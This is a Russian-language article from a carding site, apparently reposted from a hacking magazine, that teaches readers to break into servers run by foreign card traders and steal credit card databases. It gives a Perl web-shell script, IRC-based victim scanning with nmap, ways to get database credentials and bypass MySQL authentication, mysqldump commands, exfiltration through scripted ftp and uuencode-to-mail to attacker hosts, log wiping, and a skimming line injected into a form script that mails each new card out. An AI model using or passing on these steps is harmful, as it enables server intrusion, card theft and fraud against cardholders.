XIMERA
Главная | Каталог статей | Регистрация | Вход
Меню сайта

Категории раздела
ТЕОРИЯ [12]
ПРАКТИКА [13]
SPECial delivery [7]
Дропы [3]
Статьи [4]

...

Форма входа

Главная » Статьи » Кардинг » ПРАКТИКА

Найди и поимей!

Поиск кредиток на буржуйских машинах

Кредитка - вещь необходимая. Особенно когда срочно нужно купить какую-либо электронную продукцию (шелл, домен и прочее). Что же делает хакер в случае такой необходимости? В большинстве случаев лезет на буржуйские трейдерские каналы и просит у добрых дяденек креду для теста (обычно его или посылают, или дают просроченную карту из базы 1990г.). Все, наверное, знают пословицу: "Чем просить и унижаться, лучше <censored> и молчать". Так вот, я думаю, если утащить пару-тройку кредитных баз у этих самых буржуев, они не сильно обидятся, потому как сами при удобном случае крадут карты у невинных людей.

У нас свои методы...

Прежде чем приступить к поиску баз с кредитками, необходимо получить какой-либо доступ к серверу, где, собственно, эти базы находятся. Это можно сделать несколькими методами. С этого и начнется взлом, поэтому для хакера очень важно понимать поставленную задачу и уметь проникать на удаленный сервер.

Самое легкое - это зарегиться на фриварном хостинге с FTP-доступом с поддержкой CGI либо PHP (зачем это нужно, я расскажу ниже). Плюсы данного метода очевидны: легкий поиск жертвы, никакого риска при этом, а также полная уверенность, что креды находятся именно на этом сервере (либо в сегменте). Минусы также имеются: за регистрацию придется выложить несколько зеленых президентов, либо расплатиться кредиткой (око за око, креда за креды ;)).

Если все сделано правильно и хостинг куплен, пришло время заняться нехорошим делом... то бишь проникновением в чужую собственность. У хакера имеются два варианта: либо сервер поддерживает cgi-скрипты, либо php. В первом случае пишется маленький perl-сценарий, который должен быть помещен на сервер в ASCII-режиме.

#!/usr/bin/perl

$cmd=$ENV{QUERY_STRING}; ## Команда будет задаваться через QUERY_STRING

$cmd=~s/%20/ /g; ## Замена уникод-символа %20 на пробел

$cmd=`$cmd`; ## Выполнение команды

print "Content-type: text/html\n\n"; ## Вывод заголовка

print "<pre>$cmd</pre>"; ## И результата команды

Этот скрипт должен иметь права 755, только в этом случае он сможет выполниться.

В случае с PHP все намного проще. Скрипт вообще можно записать в одну строку:

Разница с Perl лишь в способе задания команды. Теперь QUERY_STRING должна иметь вид: ?cmd=команда.

Зачем все это нужно? Во всех случаях хакер владеет простым nobody-шеллом. То есть существует возможность выполнения команд через браузер. Это, конечно, хорошо, но рациональнее бы было открыть порт, при коннекте на который запускается shell-интерпретатор. Таких бэкдоров в инете полно, принципы их работы не раз описывались на страницах СПЕЦа и Хакера.

Я назвал далеко не все методы нахождения жертвы. Обнаружить сервак, за которым хранятся огромные базы с кредитками, можно... через IRC. Суть заключается в следующем: взломщик заходит на канал буржуйских трейдеров, делает /WHOIS каждого сидящего и сканит его сервер на уязвимости. Если учитывать, что на таких каналах сидят 200-300 человек, то вероятность взломать какого-нибудь зазевавшегося буржуя довольно высока.

Но хуизать две сотни человек, мягко говоря, не кошерно... Поэтому специально для этого я написал удобный Perl-скрипт. Он коннектится на заданный сервер, заходит на канал и выполняет команду /WHO #channel. При этом выводится вся информация о пользователях, включая IP-адрес. Вот его-то скрипт и заносит в предопределенный лог-файл, причем делает это очень быстро (вся работа скрипта занимает несколько секунд). Не буду вдаваться в рутинный код трехкилобайтного сценария, при желании ты посмотришь его сам. Скачать мое творение можно по адресу http://kamensk.net.ru/forb/1/x/whois.tar.gz.

Следует сказать пару слов о файле с IP-адресами, который генерирует мой whoiser. Формат его следующий: ip # nick (#channel). Не смотря на комментарий, nmap наотрез отказывается обрабатывать такой файл, поэтому в архиве ты также найдешь скрипт nmap.pl, который немного изменяет лог хуизера и делает запрос сканеру. В итоге запрос получается следующим:

system("nmap -iL $file -o $outfile --host_timeout $timeout -p $ports -O");

Все переменные, за исключением $file, задаются в начале скрипта. Файл с "чистыми" адресами генерируется whois.pl, отделяя от первичного все комментарии.

Все методы, какими бы сложными они ни являлись, должны приводить к шеллу. Права тут не имеют значения (но, опять же, чем больше, тем лучше ;)), потому как на каждую гайку найдется ключ 10х12. Иными словами, найти креды в Linux сложно, но можно (если быть уверенным, что они там есть).

Поиск, только поиск!

Представь на секунду: попал хакер в неизвестную систему под правами nobody. В ней, кроме него, сидят два не спящих рута, и нарушитель может быть замечен в любую минуту. Очень сложно производить какой-либо взлом в таких условиях, поэтому необходимо взять себя в руки и никогда не терять координацию в системе.

Первая команда, которую выполнит взломщик - это unset HISTFILE. Несмотря на его права, bash всегда запишет историю команд, которая может быть прочитана бдительным админом сервака. Это важно помнить, чтобы не давать буржую ни единого шанса поймать нарушителя.

Креды могут находиться в нескольких местах. Если это web-ресурс, то, скорее всего, данные будут лежать в www-директории. Если это домашняя тачка буржуя, креды, вероятно, находятся в mySQL (или другой) базе (к которой, естественно, нужно иметь доступ).

Начнем с легкого пути. Хакеру нужно знать www-директорию. Для этого он выполняет команду locate httpd.conf. В ответ команда выплюнет местонахождение конфига веб-сервера. В нем и задается путь к www. Команда cat httpd.conf | grep DocumentRoot даст взломщику информацию о каталоге.

Следующим шагом будет анализ cgi/php скриптов, которые принимают запросы от клиентов. Необходимо узнать, куда скидываются кредитки - в файл или в базу. Если это файл - нужно просто заархивировать его и сохранить в темном и прохладном месте =). В противном случае ситуация немного усложняется.

Ну и запросы у вас!

Вообще, все действия напрямую зависят от ситуации: конфигурации сервака, прав на нем и т.д. и т.п., поэтому четко указать алгоритм поиска кред практически невозможно. Но я попытаюсь дать несколько советов, которые значительно ускорят действия хакера и, в конце концов, приведут к успешному результату.

Для того чтобы прицепиться к mySQL (в наше время именно такие СУБД рулят на серваках), хакер достает логин и пароль пользователя, прописанные в таблице авторизации этой базы. Несмотря на кажущуюся сложность, данные можно добыть довольно быстро и просто. Они находятся в предустановках cgi/php скриптов, обслуживающих СУБД. Права nobody должны позволять читать эти скрипты, поэтому особых сложностей с получением аккаунта у взломщика не возникнет. Стоит только отметить, что в CGI-сценариях логин и пароль чаще всего указываются в начале файла, в переменных. В случае с PHP, данные хранятся в include-скриптах, которые затем подключаются в сценариях функцией include(). Такие файлы, как правило, имеют расширение .inc и находятся в папке include/. Найти их не составляет особого труда.

Если хакеру посчастливилось получить root-права, то не нужно вообще ничего искать. Достаточно убить процесс mysqld, затем запустить базу заново с параметром --skip-grant-tables. При этом демон не будет считывать таблицы авторизации. Теперь можно смело логиниться под рутом без пароля - взломщика пустят в базу данных. Он ни за что не забудет вернуть демон на место с обычными параметрами после дампа таблицы, иначе его пребывание заметят админы.

Теперь о сложностях - необходимо составить правильный запрос, чтобы получить верный ответ. Помни, что конечной целью хакера является обнаружение большой базы с рабочими кредитками =).

Входить в базу следует, учитывая интерактивность. Если шелл, который поимел нарушитель, открыт бэкдором (интерактивно) без поддержки псевдотерминала, то выполнять запросы sql следует через опцию -e клиента mysql. Об однострочных командах я расскажу чуть позже, просто имей это в виду.

Итак, вход в СУБД происходит с помощью клиента. Для этого ему задаются следующие параметры: логин, пароль, хост и база (необязательно). В нашем случае вполне подойдет следующая команда:

mysql -u carder -pcarderbaze.

Естественно, что cader:carderbase аккаунт, предварительно найденный в web-скриптах.

Если все верно, нарушитель получит стандартное приглашение клиента (mysql>). Далее необходимо сделать переход в нужную базу. Узнать ее можно командой show databases; Переход в БД выполняется двумя путями: либо сочетанием "\u name_db", либо командой use name_db (где name_db имя базы).

Хакер внутри нужной базы. Теперь он удостоверится, что это действительно то, что ему нужно. Взломщик напишет "show tables;" и найдет таблицу типа cards или payment (вообще-то, она указывается в .inc файлах). Затем он делает тестовый запрос:

select * from table_name limit 1;

Параметр limit означает, сколько строк из таблицы будет выводиться на экран. Учитывая, что хакеру совсем не нужно листать миллион записей, он указывает всего одну строку.

Нестандартные ситуации

Поговорим о нестандартных ситуациях, которые могут возникнуть. Я уже упоминал об интерактивном шелле. Дело в том, что без псевдотерминала невозможно корректно наблюдать за приглашениями клиента, соответственно, если зайти в базу как обычно, хакер будет тыкаться в консоли как слепой котенок. Для этого случая был придуман параметр -e, позволяющий выполнять команды SQL в одной строке. Итак, запрос:

mysql -u carder -pcarderbaze -e 'select * from table_name limit 1' name_db

дает такой же результат, что и в предыдущем случае.

Наряду с mySQL существуют другие СУБД, такие, как PostgreSQL, Oracle и др. Вряд ли ты с ними столкнешься, но не вредно знать, что в PostgreSQL базы узнаются командой "select * from postgres_db", а таблицы "select * from postgres_tables". Остальные запросы полностью совпадают с синтаксисом mySQL.

Бэкапим и забираем

После того как взломщик убедился, что информация действительно находится на сервере и доступна для чтения, ее необходимо извлечь, заархивировать и отправить в безопасное место для дальнейшего изучения =).

Казалось бы, все просто, и описывать процедуру архивирования бессмысленно, но на самом деле тут тоже существуют свои подводные камни, избежать которых помогут мои советы.

Во-первых, следует извлечь данные из нужной SQL таблицы. Для этого вовсе не обязательно выполнять команду через параметр -e и перенаправлять ее вывод в файл. Если действовать таким способом, есть вероятность потерять значительную часть большой базы. В пакете mysql существует утилита mysqldump, предназначенная как раз для решения поставленной задачи. Синтаксис ее практически не отличается от обычного клиента, поэтому команда

mysqldump -u carder -pcarderbaze name_db table_name > cc_baze

запишет структуру таблицы table_name в файл cc_baze.

Разумеется, закидывать базу данных несколькими десятками (а то и сотнями) мегабайт нерационально без архивации. Поэтому сожмем файл bzip'ом (он лучше gzip в плане компрессии). Для этого пишем:

tar jcf cc_baze.tar.bz2 cc_baze

А теперь самое сложное. Необходимо в срочном порядке выкачать архив с территории взломанного сервера. Если у хакера имеется root-доступ, то задача проста - ему надо скопировать архив в любую папку web-сервера. Но это не всегда так. Под nobody (да и другими) правами подобное редко когда можно осуществить, разве что в случае, если на каталоге стоят права на запись. В большинстве ситуаций приходится использовать утилиту ftp. Вот тут-то и всплывают всякие мелочи.

Помнишь, я говорил про интерактивный шелл? Без псевдотерминала обмен данными между юзером и командой ftp будет очень глючным. Точнее, все запросы, которые будет выдавать бинарник, взломщик увидит лишь после команды quit. Но это не означает, что залить файл через ftp невозможно. Если воспользоваться сценарием, совсем не нужно контролировать ход соединения.

Для справки: сценарий - небольшой файл, в котором содержится список команд для /usr/bin/ftp. Затем этот файл подставляется в строку запуска, и хакеру остается лишь дождаться завершения работы клиента. Единственное неудобство - это создание сценария. Команды придется дозаписывать в файл при помощи команды echo.

Cоздание ftp-сценария.

Эта последовательность команд составит и выполнит ftp-сценарий

echo user hacker 31337 > ftp

echo pass

echo type binary

echo put ./cc_baze.tar.bz2

echo quit

ftp -n hack.host.ru < ./ftp

Опция -n ftp-сервера позволяет производить аутентификацию в одну строку (без поддержки интерактивности). Именно поэтому я указал имя пользователя и его пароль в одной строке. Заставить клиента перечитать текстовик как сценарий позволяет стандартное перенаправление дескриптора ввода (stdin). При этом лишь остается дождаться, пока файл транспортируется с сервера на удаленный ftp’шник.

При отсутствии ftp-сервера, можно воспользоваться командой mail, чтобы послать базу на мыло. Но перед этим необходимо превратить аттач в uuencode-шифр командой uuencode:

uuencode ./cc_baze.tar.bz2 cc_baze.tar.bz2 | mail hacker@host.ru

Параметры uuencode назначают имена локального файла и название архива после кодирования. Но стоит быть уверенным, что smtpd на удаленном серваке настроен и работает как надо, иначе послать e-mail не получится.

Кончил - протри станок!

Немаловажным шагом после бэкапа базы является тщательная протирка логов. Естественно, делать это нужно только под root-правами, под непривилегированным аккаунтом следует принять все меры, чтобы оставлять как можно меньше следов.

Во-первых, это /var/log/messages - лог, о котором почему-то все забывают. Туда сваливаются мессаги различного характера. После взлома сервера его обязательно нужно почистить.

Во-вторых, файлы в домашней директории пользователя. Это .bash_history и .mysql_history. За историю команд интерпретатора можно не беспокоиться, если предварительно была выполнена команда unset HISTFILE. Чтобы очистить список команд mySQL, необходимо удалить файл, либо выполнить false > /path/to/.mysql_history, чтобы обнулить его содержимое.

В-третьих, директория /var/log/mysql хранит все логи обращений к СУБД. Их также необходимо удалить.

И, наконец, нужно уделить внимание таким мелочам, как лог от httpd, временные сценарии и базы с кредами, которые, возможно, были оставлены в каталогах /home, /tmp и т.п.

Собственная безопасность при этом превыше всего, так как у кардеров очень хорошие связи. Если они заподозрят тебя в краже своих баз и обнаружат твой IP в логах - поверь, придется очень несладко.

Подпишись на рассылку

Ты, наверное, знаешь, что база у крупных кардеров постоянно пополняется. Каждый раз лезть на сервак и архивировать новые карточки не совсем удобно, поэтому можно добавить несколько посторонних строк в perl/php код, обрабатывающий запрос с Web. Но следует быть очень осторожным, ведь кардер сам мог составить этот скрипт и знать код в нем как свои пять пальцев.

Допустим, у нас имеется скрипт form.cgi, в котором находится обращение к базе и запись туда содержимого массива @card. Шпионская строка вида

system("echo @card | mail hacker@host.ru");

позволяет отправлять данные о карте на твое мыло. Перед этим следует запомнить, какие именно данные заносятся в этот массив.

Действуй осторожно

Ты уже не маленький, и понимаешь, что все эти действия описаны лишь с ознакомительной целью. Ответственность за их применение на практике несешь только ты и никто другой.

Как правило, кардеры - народ ленивый. Возможно, он не будет гнаться за тобой, когда узнает, что ты позаимствовал у него пару тысяч свежих кредиток ;). Но раз на раз не приходится, поэтому всегда необходимо принимать меры предосторожности, подробно описанные в этой статье.

Бинарный поиск

В ряде случаев не получается перезапустить mysqld, а также залогиниться в СУБД. Тогда можно попробовать поискать кредитки в бинарных таблицах. Они находятся в /var/lib/mysql/data. Просмотреть их содержимое можно командой grep. К примеру, запрос grep -ir visa * > cc.log запишет лог совпадений с шаблоном.

Различные логи

Пути к логам напрямую зависят от демона, через который инфа поступает в файлы. В случае с syslogd, журналы будут располагаться в папке /var/log (если админ не перенастроил /etc/syslog.conf). Если программа другая (например, ng-syslogd), пути будут иными. Узнать их можно по конфигу демона.

Самое легкое - это зарегиться на фриварном хостинге с FTP-доступом с поддержкой CGI либо PHP (зачем это нужно, я расскажу ниже). Плюсы данного метода очевидны: легкий поиск жертвы, никакого риска при этом, а также полная уверенность, что креды находятся именно на этом сервере (либо в сегменте).

Взломщик заходит на канал буржуйских трейдеров, делает /WHOIS каждого сидящего и сканит его сервер на уязвимости. Если учитывать, что на таких каналах сидят 200-300 человек, то вероятность взломать какого-нибудь зазевавшегося буржуя довольно высока.

Если хакеру посчастливилось получить root-права, то не нужно вообще ничего искать. Достаточно убить процесс mysqld, затем запустить базу заново с параметром --skip-grant-tables.

Наряду с mySQL существуют другие СУБД, такие, как PostgreSQL, Oracle и др. Вряд ли ты с ними столкнешься, но не вредно знать, что в PostgreSQL базы узнаются командой "select * from postgres_db", а таблицы "select * from postgres_tables". Остальные запросы полностью совпадают с синтаксисом mySQL.



Источник: http://xakep.ru
Категория: ПРАКТИКА | Добавил: (22.01.2011)
Просмотров: 891 | Комментарии: 1
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск

...

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0


Все материалы на данном сайте предназначены исключительно для ознакомления без целей коммерческого использования. Все права на публикуемые аудио, видео, графические и текстовые материалы принадлежат их владельцам, и Администрация ресурса не несет ответственность за их использование. Администрация не несёт ответсвенности за материалы, размещённые на этом ресурсе.
Copyright MyCorp © 2025